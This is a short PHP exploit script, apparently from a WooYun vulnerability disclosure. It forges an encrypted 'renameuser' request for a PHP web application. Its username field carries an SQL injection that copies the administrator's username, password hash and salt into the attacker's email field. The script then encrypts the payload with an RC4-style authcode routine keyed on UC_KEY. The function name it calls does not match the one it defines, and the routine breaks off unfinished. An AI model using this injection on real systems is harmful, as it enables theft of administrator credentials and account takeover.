WooYun.org

<?php 


$_G['time'] =  time()+10*36000;


$_G['action'] =  'renameuser';


$_G['newusername'] = "xser',email=(SELECT ROW FROM(SELECT CONCAT(userid,0x7c,username,0x7c,PASSWORD,0x7c,salt) ROW FROM #table_member WHERE userid = 1 limit 0,1)X1 )  where username = 'xser' #";// 数据更新到你的账号上。


$code = urlencode(_authcode(http_build_query($_G), 'ENCODE'));


echo $code;





function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {





	$ckey_length = 4;





	$key = md5($key ? $key : UC_KEY);


	$keya = md5(substr($key, 0, 16));


	$keyb = md5(substr($key, 16, 16));


	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';





	$cryptkey = $keya.md5($keya.$keyc);


	$key_length = strlen($cryptkey);





	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;


	$string_length = strlen($string);





	$result = '';


	$box = range(0, 255);





	$rndkey = array();


	for($i = 0; $i <= 255; $i++) {


		$rndkey[$i] = ord($cryptkey[$i % $key_length]);


	}





	for($j = $i = 0; $i < 256; $i++) {


		$j = ($j + $box[$i] + $rndkey[$i]) % 256;


		$tmp = $box[$i];


		$box[$i] = $box[$j];


		$box[$j] = $tmp;


	}





	for($a = $j = $i = 0; $i < $string_length; $i++) {


		$a = ($a + 1) % 256;


		$j = ($j + $box[$a]) % 256;


		$tmp = $box[$a];


		$box[$a] = $box[$j];


		$box[$j] = $tmp;


		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));


	}


?>